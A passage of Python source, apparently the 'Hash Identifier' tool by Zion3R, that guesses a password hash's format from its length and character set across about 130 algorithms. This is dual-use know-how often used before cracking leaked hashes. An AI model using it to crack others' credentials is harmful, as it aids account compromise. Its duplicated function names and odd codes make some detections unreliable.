\_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # 14 | # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # 15 | # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.1 # 16 | # By Zion3R # 17 | # www.Blackploit.com # 18 | # Root@Blackploit.com # 19 | #########################################################################''' 20 | 21 | algorithms={"102020":"ADLER-32", "102040":"CRC-32", "102060":"CRC-32B", "101020":"CRC-16", "101040":"CRC-16-CCITT", "104020":"DES(Unix)", "101060":"FCS-16", "103040":"GHash-32-3", "103020":"GHash-32-5", "115060":"GOST R 34.11-94", "109100":"Haval-160", "109200":"Haval-160(HMAC)", "110040":"Haval-192", "110080":"Haval-192(HMAC)", "114040":"Haval-224", "114080":"Haval-224(HMAC)", "115040":"Haval-256", "115140":"Haval-256(HMAC)", "107080":"Lineage II C4", "106025":"Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))", "102080":"XOR-32", "105060":"MD5(Half)", "105040":"MD5(Middle)", "105020":"MySQL", "107040":"MD5(phpBB3)", "107060":"MD5(Unix)", "107020":"MD5(Wordpress)", "108020":"MD5(APR)", "106160":"Haval-128", "106165":"Haval-128(HMAC)", "106060":"MD2", "106120":"MD2(HMAC)", "106040":"MD4", "106100":"MD4(HMAC)", "106020":"MD5", "106080":"MD5(HMAC)", "106140":"MD5(HMAC(Wordpress))", "106029":"NTLM", "106027":"RAdmin v2.x", "106180":"RipeMD-128", "106185":"RipeMD-128(HMAC)", "106200":"SNEFRU-128", "106205":"SNEFRU-128(HMAC)", "106220":"Tiger-128", "106225":"Tiger-128(HMAC)", "106240":"md5($pass.$salt)", "106260":"md5($salt.'-'.md5($pass))", "106280":"md5($salt.$pass)", "106300":"md5($salt.$pass.$salt)", "106320":"md5($salt.$pass.$username)", "106340":"md5($salt.md5($pass))", "106360":"md5($salt.md5($pass).$salt)", "106380":"md5($salt.md5($pass.$salt))", "106400":"md5($salt.md5($salt.$pass))", "106420":"md5($salt.md5(md5($pass).$salt))", "106440":"md5($username.0.$pass)", "106460":"md5($username.LF.$pass)", "106480":"md5($username.md5($pass).$salt)", "106500":"md5(md5($pass))", "106520":"md5(md5($pass).$salt)", "106540":"md5(md5($pass).md5($salt))", "106560":"md5(md5($salt).$pass)", "106580":"md5(md5($salt).md5($pass))", "106600":"md5(md5($username.$pass).$salt)", "106620":"md5(md5(md5($pass)))", "106640":"md5(md5(md5(md5($pass))))", "106660":"md5(md5(md5(md5(md5($pass)))))", "106680":"md5(sha1($pass))", "106700":"md5(sha1(md5($pass)))", "106720":"md5(sha1(md5(sha1($pass))))", "106740":"md5(strtoupper(md5($pass)))", "109040":"MySQL5 - SHA-1(SHA-1($pass))", "109060":"MySQL 160bit - SHA-1(SHA-1($pass))", "109180":"RipeMD-160(HMAC)", "109120":"RipeMD-160", "109020":"SHA-1", "109140":"SHA-1(HMAC)", "109220":"SHA-1(MaNGOS)", "109240":"SHA-1(MaNGOS2)", "109080":"Tiger-160", "109160":"Tiger-160(HMAC)", "109260":"sha1($pass.$salt)", "109280":"sha1($salt.$pass)", "109300":"sha1($salt.md5($pass))", "109320":"sha1($salt.md5($pass).$salt)", "109340":"sha1($salt.sha1($pass))", "109360":"sha1($salt.sha1($salt.sha1($pass)))", "109380":"sha1($username.$pass)", "109400":"sha1($username.$pass.$salt)", "1094202":"sha1(md5($pass))", "109440":"sha1(md5($pass).$salt)", "109460":"sha1(md5(sha1($pass)))", "109480":"sha1(sha1($pass))", "109500":"sha1(sha1($pass).$salt)", "109520":"sha1(sha1($pass).substr($pass,0,3))", "109540":"sha1(sha1($salt.$pass))", "109560":"sha1(sha1(sha1($pass)))", "109580":"sha1(strtolower($username).$pass)", "110020":"Tiger-192", "110060":"Tiger-192(HMAC)", "112020":"md5($pass.$salt) - Joomla", "113020":"SHA-1(Django)", "114020":"SHA-224", "114060":"SHA-224(HMAC)", "115080":"RipeMD-256", "115160":"RipeMD-256(HMAC)", "115100":"SNEFRU-256", "115180":"SNEFRU-256(HMAC)", "115200":"SHA-256(md5($pass))", "115220":"SHA-256(sha1($pass))", "115020":"SHA-256", "115120":"SHA-256(HMAC)", "116020":"md5($pass.$salt) - Joomla", "116040":"SAM - (LM_hash:NT_hash)", "117020":"SHA-256(Django)", "118020":"RipeMD-320", "118040":"RipeMD-320(HMAC)", "119020":"SHA-384", "119040":"SHA-384(HMAC)", "120020":"SHA-256", "121020":"SHA-384(Django)", "122020":"SHA-512", "122060":"SHA-512(HMAC)", "122040":"Whirlpool", "122080":"Whirlpool(HMAC)"} 22 | 23 | # hash.islower() minusculas 24 | # hash.isdigit() numerico 25 | # hash.isalpha() letras 26 | # hash.isalnum() alfanumerico 27 | 28 | def CRC16(): 29 | hs='4607' 30 | if len(hash)==len(hs) and hash.isalpha()==False and hash.isalnum()==True: 31 | jerar.append("101020") 32 | def CRC16CCITT(): 33 | hs='3d08' 34 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 35 | jerar.append("101040") 36 | def FCS16(): 37 | hs='0e5b' 38 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 39 | jerar.append("101060") 40 | 41 | def CRC32(): 42 | hs='b33fd057' 43 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 44 | jerar.append("102040") 45 | def ADLER32(): 46 | hs='0607cb42' 47 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 48 | jerar.append("102020") 49 | def CRC32B(): 50 | hs='b764a0d9' 51 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 52 | jerar.append("102060") 53 | def XOR32(): 54 | hs='0000003f' 55 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 56 | jerar.append("102080") 57 | 58 | def GHash323(): 59 | hs='80000000' 60 | if len(hash)==len(hs) and hash.isdigit()==True and hash.isalpha()==False and hash.isalnum()==True: 61 | jerar.append("103040") 62 | def GHash325(): 63 | hs='85318985' 64 | if len(hash)==len(hs) and hash.isdigit()==True and hash.isalpha()==False and hash.isalnum()==True: 65 | jerar.append("103020") 66 | 67 | def DESUnix(): 68 | hs='ZiY8YtDKXJwYQ' 69 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False: 70 | jerar.append("104020") 71 | 72 | def MD5Half(): 73 | hs='ae11fd697ec92c7c' 74 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 75 | jerar.append("105060") 76 | def MD5Middle(): 77 | hs='7ec92c7c98de3fac' 78 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 79 | jerar.append("105040") 80 | def MySQL(): 81 | hs='63cea4673fd25f46' 82 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 83 | jerar.append("105020") 84 | 85 | def DomainCachedCredentials(): 86 | hs='f42005ec1afe77967cbc83dce1b4d714' 87 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 88 | jerar.append("106025") 89 | def Haval128(): 90 | hs='d6e3ec49aa0f138a619f27609022df10' 91 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 92 | jerar.append("106160") 93 | def Haval128HMAC(): 94 | hs='3ce8b0ffd75bc240fc7d967729cd6637' 95 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 96 | jerar.append("106165") 97 | def MD2(): 98 | hs='08bbef4754d98806c373f2cd7d9a43c4' 99 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 100 | jerar.append("106060") 101 | def MD2HMAC(): 102 | hs='4b61b72ead2b0eb0fa3b8a56556a6dca' 103 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 104 | jerar.append("106120") 105 | def MD4(): 106 | hs='a2acde400e61410e79dacbdfc3413151' 107 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 108 | jerar.append("106040") 109 | def MD4HMAC(): 110 | hs='6be20b66f2211fe937294c1c95d1cd4f' 111 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 112 | jerar.append("106100") 113 | def MD5(): 114 | hs='ae11fd697ec92c7c98de3fac23aba525' 115 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 116 | jerar.append("106020") 117 | def MD5HMAC(): 118 | hs='d57e43d2c7e397bf788f66541d6fdef9' 119 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 120 | jerar.append("106080") 121 | def MD5HMACWordpress(): 122 | hs='3f47886719268dfa83468630948228f6' 123 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 124 | jerar.append("106140") 125 | def NTLM(): 126 | hs='cc348bace876ea440a28ddaeb9fd3550' 127 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 128 | jerar.append("106029") 129 | def RAdminv2x(): 130 | hs='baea31c728cbf0cd548476aa687add4b' 131 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 132 | jerar.append("106027") 133 | def RipeMD128(): 134 | hs='4985351cd74aff0abc5a75a0c8a54115' 135 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 136 | jerar.append("106180") 137 | def RipeMD128HMAC(): 138 | hs='ae1995b931cf4cbcf1ac6fbf1a83d1d3' 139 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 140 | jerar.append("106185") 141 | def SNEFRU128(): 142 | hs='4fb58702b617ac4f7ca87ec77b93da8a' 143 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 144 | jerar.append("106200") 145 | def SNEFRU128HMAC(): 146 | hs='59b2b9dcc7a9a7d089cecf1b83520350' 147 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 148 | jerar.append("106205") 149 | def Tiger128(): 150 | hs='c086184486ec6388ff81ec9f23528727' 151 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 152 | jerar.append("106220") 153 | def Tiger128HMAC(): 154 | hs='c87032009e7c4b2ea27eb6f99723454b' 155 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 156 | jerar.append("106225") 157 | def md5passsalt(): 158 | hs='5634cc3b922578434d6e9342ff5913f7' 159 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 160 | jerar.append("106240") 161 | def md5saltmd5pass(): 162 | hs='245c5763b95ba42d4b02d44bbcd916f1' 163 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 164 | jerar.append("106260") 165 | def md5saltpass(): 166 | hs='22cc5ce1a1ef747cd3fa06106c148dfa' 167 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 168 | jerar.append("106280") 169 | def md5saltpasssalt(): 170 | hs='469e9cdcaff745460595a7a386c4db0c' 171 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 172 | jerar.append("106300") 173 | def md5saltpassusername(): 174 | hs='9ae20f88189f6e3a62711608ddb6f5fd' 175 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 176 | jerar.append("106320") 177 | def md5saltmd5pass(): 178 | hs='aca2a052962b2564027ee62933d2382f' 179 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 180 | jerar.append("106340") 181 | def md5saltmd5passsalt(): 182 | hs='de0237dc03a8efdf6552fbe7788b2fdd' 183 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 184 | jerar.append("106360") 185 | def md5saltmd5passsalt(): 186 | hs='5b8b12ca69d3e7b2a3e2308e7bef3e6f' 187 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 188 | jerar.append("106380") 189 | def md5saltmd5saltpass(): 190 | hs='d8f3b3f004d387086aae24326b575b23' 191 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 192 | jerar.append("106400") 193 | def md5saltmd5md5passsalt(): 194 | hs='81f181454e23319779b03d74d062b1a2' 195 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 196 | jerar.append("106420") 197 | def md5username0pass(): 198 | hs='e44a60f8f2106492ae16581c91edb3ba' 199 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 200 | jerar.append("106440") 201 | def md5usernameLFpass(): 202 | hs='654741780db415732eaee12b1b909119' 203 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 204 | jerar.append("106460") 205 | def md5usernamemd5passsalt(): 206 | hs='954ac5505fd1843bbb97d1b2cda0b98f' 207 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 208 | jerar.append("106480") 209 | def md5md5pass(): 210 | hs='a96103d267d024583d5565436e52dfb3' 211 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 212 | jerar.append("106500") 213 | def md5md5passsalt(): 214 | hs='5848c73c2482d3c2c7b6af134ed8dd89' 215 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 216 | jerar.append("106520") 217 | def md5md5passmd5salt(): 218 | hs='8dc71ef37197b2edba02d48c30217b32' 219 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 220 | jerar.append("106540") 221 | def md5md5saltpass(): 222 | hs='9032fabd905e273b9ceb1e124631bd67' 223 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 224 | jerar.append("106560") 225 | def md5md5saltmd5pass(): 226 | hs='8966f37dbb4aca377a71a9d3d09cd1ac' 227 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 228 | jerar.append("106580") 229 | def md5md5usernamepasssalt(): 230 | hs='4319a3befce729b34c3105dbc29d0c40' 231 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 232 | jerar.append("106600") 233 | def md5md5md5pass(): 234 | hs='ea086739755920e732d0f4d8c1b6ad8d' 235 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 236 | jerar.append("106620") 237 | def md5md5md5md5pass(): 238 | hs='02528c1f2ed8ac7d83fe76f3cf1c133f' 239 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 240 | jerar.append("106640") 241 | def md5md5md5md5md5pass(): 242 | hs='4548d2c062933dff53928fd4ae427fc0' 243 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 244 | jerar.append("106660") 245 | def md5sha1pass(): 246 | hs='cb4ebaaedfd536d965c452d9569a6b1e' 247 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 248 | jerar.append("106680") 249 | def md5sha1md5pass(): 250 | hs='099b8a59795e07c334a696a10c0ebce0' 251 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 252 | jerar.append("106700") 253 | def md5sha1md5sha1pass(): 254 | hs='06e4af76833da7cc138d90602ef80070' 255 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 256 | jerar.append("106720") 257 | def md5strtouppermd5pass(): 258 | hs='519de146f1a658ab5e5e2aa9b7d2eec8' 259 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 260 | jerar.append("106740") 261 | 262 | def LineageIIC4(): 263 | hs='0x49a57f66bd3d5ba6abda5579c264a0e4' 264 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True and hash[0:2].find('0x')==0: 265 | jerar.append("107080") 266 | def MD5phpBB3(): 267 | hs='$H$9kyOtE8CDqMJ44yfn9PFz2E.L2oVzL1' 268 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$H$')==0: 269 | jerar.append("107040") 270 | def MD5Unix(): 271 | hs='$1$cTuJH0Ju$1J8rI.mJReeMvpKUZbSlY/' 272 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$1$')==0: 273 | jerar.append("107060") 274 | def MD5Wordpress(): 275 | hs='$P$BiTOhOj3ukMgCci2juN0HRbCdDRqeh.' 276 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$P$')==0: 277 | jerar.append("107020") 278 | 279 | def MD5APR(): 280 | hs='$apr1$qAUKoKlG$3LuCncByN76eLxZAh/Ldr1' 281 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash[0:4].find('$apr')==0: 282 | jerar.append("108020") 283 | 284 | def Haval160(): 285 | hs='a106e921284dd69dad06192a4411ec32fce83dbb' 286 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 287 | jerar.append("109100") 288 | def Haval160HMAC(): 289 | hs='29206f83edc1d6c3f680ff11276ec20642881243' 290 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 291 | jerar.append("109200") 292 | def MySQL5(): 293 | hs='9bb2fb57063821c762cc009f7584ddae9da431ff' 294 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 295 | jerar.append("109040") 296 | def MySQL160bit(): 297 | hs='*2470c0c06dee42fd1618bb99005adca2ec9d1e19' 298 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:1].find('*')==0: 299 | jerar.append("109060") 300 | def RipeMD160(): 301 | hs='dc65552812c66997ea7320ddfb51f5625d74721b' 302 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 303 | jerar.append("109120") 304 | def RipeMD160HMAC(): 305 | hs='ca28af47653b4f21e96c1235984cb50229331359' 306 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 307 | jerar.append("109180") 308 | def SHA1(): 309 | hs='4a1d4dbc1e193ec3ab2e9213876ceb8f4db72333' 310 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 311 | jerar.append("109020") 312 | def SHA1HMAC(): 313 | hs='6f5daac3fee96ba1382a09b1ba326ca73dccf9e7' 314 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 315 | jerar.append("109140") 316 | def SHA1MaNGOS(): 317 | hs='a2c0cdb6d1ebd1b9f85c6e25e0f8732e88f02f96' 318 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 319 | jerar.append("109220") 320 | def SHA1MaNGOS2(): 321 | hs='644a29679136e09d0bd99dfd9e8c5be84108b5fd' 322 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 323 | jerar.append("109240") 324 | def Tiger160(): 325 | hs='c086184486ec6388ff81ec9f235287270429b225' 326 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 327 | jerar.append("109080") 328 | def Tiger160HMAC(): 329 | hs='6603161719da5e56e1866e4f61f79496334e6a10' 330 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 331 | jerar.append("109160") 332 | def sha1passsalt(): 333 | hs='f006a1863663c21c541c8d600355abfeeaadb5e4' 334 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 335 | jerar.append("109260") 336 | def sha1saltpass(): 337 | hs='299c3d65a0dcab1fc38421783d64d0ecf4113448' 338 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 339 | jerar.append("109280") 340 | def sha1saltmd5pass(): 341 | hs='860465ede0625deebb4fbbedcb0db9dc65faec30' 342 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 343 | jerar.append("109300") 344 | def sha1saltmd5passsalt(): 345 | hs='6716d047c98c25a9c2cc54ee6134c73e6315a0ff' 346 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 347 | jerar.append("109320") 348 | def sha1saltsha1pass(): 349 | hs='58714327f9407097c64032a2fd5bff3a260cb85f' 350 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 351 | jerar.append("109340") 352 | def sha1saltsha1saltsha1pass(): 353 | hs='cc600a2903130c945aa178396910135cc7f93c63' 354 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 355 | jerar.append("109360") 356 | def sha1usernamepass(): 357 | hs='3de3d8093bf04b8eb5f595bc2da3f37358522c9f' 358 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 359 | jerar.append("109380") 360 | def sha1usernamepasssalt(): 361 | hs='00025111b3c4d0ac1635558ce2393f77e94770c5' 362 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 363 | jerar.append("109400") 364 | def sha1md5pass(): 365 | hs='fa960056c0dea57de94776d3759fb555a15cae87' 366 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 367 | jerar.append("1094202") 368 | def sha1md5passsalt(): 369 | hs='1dad2b71432d83312e61d25aeb627593295bcc9a' 370 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 371 | jerar.append("109440") 372 | def sha1md5sha1pass(): 373 | hs='8bceaeed74c17571c15cdb9494e992db3c263695' 374 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 375 | jerar.append("109460") 376 | def sha1sha1pass(): 377 | hs='3109b810188fcde0900f9907d2ebcaa10277d10e' 378 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 379 | jerar.append("109480") 380 | def sha1sha1passsalt(): 381 | hs='780d43fa11693b61875321b6b54905ee488d7760' 382 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 383 | jerar.append("109500") 384 | def sha1sha1passsubstrpass03(): 385 | hs='5ed6bc680b59c580db4a38df307bd4621759324e' 386 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 387 | jerar.append("109520") 388 | def sha1sha1saltpass(): 389 | hs='70506bac605485b4143ca114cbd4a3580d76a413' 390 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 391 | jerar.append("109540") 392 | def sha1sha1sha1pass(): 393 | hs='3328ee2a3b4bf41805bd6aab8e894a992fa91549' 394 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 395 | jerar.append("109560") 396 | def sha1strtolowerusernamepass(): 397 | hs='79f575543061e158c2da3799f999eb7c95261f07' 398 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 399 | jerar.append("109580") 400 | 401 | def Haval192(): 402 | hs='cd3a90a3bebd3fa6b6797eba5dab8441f16a7dfa96c6e641' 403 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 404 | jerar.append("110040") 405 | def Haval192HMAC(): 406 | hs='39b4d8ecf70534e2fd86bb04a877d01dbf9387e640366029' 407 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 408 | jerar.append("110080") 409 | def Tiger192(): 410 | hs='c086184486ec6388ff81ec9f235287270429b2253b248a70' 411 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 412 | jerar.append("110020") 413 | def Tiger192HMAC(): 414 | hs='8e914bb64353d4d29ab680e693272d0bd38023afa3943a41' 415 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 416 | jerar.append("110060") 417 | 418 | def MD5passsaltjoomla1(): 419 | hs='35d1c0d69a2df62be2df13b087343dc9:BeKMviAfcXeTPTlX' 420 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[32:33].find(':')==0: 421 | jerar.append("112020") 422 | 423 | def SHA1Django(): 424 | hs='sha1$Zion3R$299c3d65a0dcab1fc38421783d64d0ecf4113448' 425 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:5].find('sha1$')==0: 426 | jerar.append("113020") 427 | 428 | def Haval224(): 429 | hs='f65d3c0ef6c56f4c74ea884815414c24dbf0195635b550f47eac651a' 430 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 431 | jerar.append("114040") 432 | def Haval224HMAC(): 433 | hs='f10de2518a9f7aed5cf09b455112114d18487f0c894e349c3c76a681' 434 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 435 | jerar.append("114080") 436 | def SHA224(): 437 | hs='e301f414993d5ec2bd1d780688d37fe41512f8b57f6923d054ef8e59' 438 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 439 | jerar.append("114020") 440 | def SHA224HMAC(): 441 | hs='c15ff86a859892b5e95cdfd50af17d05268824a6c9caaa54e4bf1514' 442 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 443 | jerar.append("114060") 444 | 445 | def SHA256(): 446 | hs='2c740d20dab7f14ec30510a11f8fd78b82bc3a711abe8a993acdb323e78e6d5e' 447 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 448 | jerar.append("115020") 449 | def SHA256HMAC(): 450 | hs='d3dd251b7668b8b6c12e639c681e88f2c9b81105ef41caccb25fcde7673a1132' 451 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 452 | jerar.append("115120") 453 | def Haval256(): 454 | hs='7169ecae19a5cd729f6e9574228b8b3c91699175324e6222dec569d4281d4a4a' 455 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 456 | jerar.append("115040") 457 | def Haval256HMAC(): 458 | hs='6aa856a2cfd349fb4ee781749d2d92a1ba2d38866e337a4a1db907654d4d4d7a' 459 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 460 | jerar.append("115140") 461 | def GOSTR341194(): 462 | hs='ab709d384cce5fda0793becd3da0cb6a926c86a8f3460efb471adddee1c63793' 463 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 464 | jerar.append("115060") 465 | def RipeMD256(): 466 | hs='5fcbe06df20ce8ee16e92542e591bdea706fbdc2442aecbf42c223f4461a12af' 467 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 468 | jerar.append("115080") 469 | def RipeMD256HMAC(): 470 | hs='43227322be1b8d743e004c628e0042184f1288f27c13155412f08beeee0e54bf' 471 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 472 | jerar.append("115160") 473 | def SNEFRU256(): 474 | hs='3a654de48e8d6b669258b2d33fe6fb179356083eed6ff67e27c5ebfa4d9732bb' 475 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 476 | jerar.append("115100") 477 | def SNEFRU256HMAC(): 478 | hs='4e9418436e301a488f675c9508a2d518d8f8f99e966136f2dd7e308b194d74f9' 479 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 480 | jerar.append("115180") 481 | def SHA256md5pass(): 482 | hs='b419557099cfa18a86d1d693e2b3b3e979e7a5aba361d9c4ec585a1a70c7bde4' 483 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 484 | jerar.append("115200") 485 | def SHA256sha1pass(): 486 | hs='afbed6e0c79338dbfe0000efe6b8e74e3b7121fe73c383ae22f5b505cb39c886' 487 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 488 | jerar.append("115220") 489 | 490 | def MD5passsaltjoomla2(): 491 | hs='fb33e01e4f8787dc8beb93dac4107209:fxJUXVjYRafVauT77Cze8XwFrWaeAYB2' 492 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and 